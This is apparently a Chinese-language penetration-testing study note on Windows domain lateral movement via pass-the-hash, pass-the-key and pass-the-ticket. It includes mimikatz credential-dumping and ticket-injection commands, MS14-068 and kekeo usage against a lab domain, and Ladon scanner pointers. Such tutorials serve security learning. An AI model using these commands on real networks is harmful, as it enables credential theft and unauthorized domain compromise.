知识点

PTH&PTT&PTK

PTH(pass the hash) 利用lm或ntlm的值进行的渗透测试

PTT(pass the ticket) 利用的票据凭证TGT进行的渗透测试

PTK(pass the key) 利用的ekeys aes256进行的渗透测试

PTH和PTK

PTH原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击

总结KB2871997补丁后的影响

PTH:没打补丁用户都可以连接,打了补丁只能administrator远程ipc连接

PTK:打了补丁才能用户都可以连接,采用aes256连接

查看补丁:用systeminfo命令

参考:KB22871997是否真的能防御PTH攻击

image-20220311233849808

PTT

PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)

其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术

MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

Kerberos协议工作方法

客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)。

将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据。

然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测。

检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

域横向移动PTH传递-mimikatz

使用mimikatz先获取hash(假设获取到的就是域控的ntlm)

1
privilege::debug sekurlsa::logonpasswords

image-20220311230845494

在未打补丁的工作组及域连接:

1
2
sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7
# domain的值为workgroup时,连接的是本地用户

成功会自动创建一个cmd,可以通过该cmd操作对应用户名的机器,如查看C盘目录(若IP地址不识别可以换成计算机名)

dir \\192.168.3.21\c$

注意:这里/domain:god.org是对域内用户进行PTH,我理解的是经过操作后弹出的cmd具有对域内主机PTH的功能,所以还需要在弹出的cmd中测试出哪个或哪些主机对应该ntlm值(另外用户名也是不确定的)

域横向移动PTK传递-mimikatz

打补丁后的工作组及域连接:

mimikatz获取权限

privilege::debug

之后获取aes值

sekurlsa::ekeys

ptk传递

1
sekurlsa::pth /user:mary /domain:god.org /aes256:d7c1d9310753a2f7f24035b2701dc1e6177d16a6e40af3c5cdff814719821c4b

域横向移动PTT传递-MS14068&kekeo&local

第一种利用漏洞ms14-068

能实现普通用户直接获取域控system权限

1.查看当前sid

whoami /user

image-20220312001825724

2.启动mimikatz,不需要提升权限,能用就行

清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

kerberos::purge

查看当前机器凭证

kerberos::list

将票据注入到内存中

kerberos::ptc 票据文件

3.利用ms14-068生成TGT数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控IP地址 -p 域成员密码

# 例
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 - p admin!@#45

image-20220312001958899

4.票据注入内存

kerberos::ptc TGT_mary@god.org.ccache

image-20220312002203743

5.查看凭证列表

klist

image-20220312002227026

6.利用

dir \\主机名\c$

image-20220312002420045

这里是对域控攻击所以net time /domain查主机名

第二种利用工具kekeo

1.生成票据

./kekeo "tgt::ask /user:域成员名 /domain:域名 /ntlm:ntlm值"

./kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695d……"

image-20220312003010504

2.导入票据

kerberos::ptt 票据文件

kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

image-20220312003037687

3.查看凭证

klist

4.利用net use载入

dir \\192.168.3.21\c$

第三种利用本地票据(需管理权限)

利用mimikatz收集本地票据,再将票据导入到内存中进行连接。有存活时间限制(之前有人用这台被拿下的主机连结过域控,就会存在相关凭据,我们的目的就是导出所有凭据,找到与连结过域控的凭据)

privilege::debug

sekurlsa::tickets /export

kerberos::ptt 票据文件

总结

ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞、工具、本地票据

国产Ladon内网杀器测试-信息收集,连接等

信息收集-协议扫描-漏洞探针-传递攻击等

“Wiki”界面有命令介绍

信息收集

GUI:“scan”界面选“scan”,“OnlinePC”界面右键选“OnlinePC”扫描

命令行:Ladon [网段] [关键词]

参考

内网渗透之PTH&PTT&PTK

Kerberos协议工作原理:https://blog.csdn.net/qq_32005671/article/details/54862678

资源

Ladon:https://github.com/k8gege/Ladon

Ladon 9.1.1 & CobaltStrike神龙插件发布:http://k8gege.org/Ladon/cs911.html

kekeo:https://github.com/gentilkiwi/kekeo

WindowsExploits/MS14-068:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068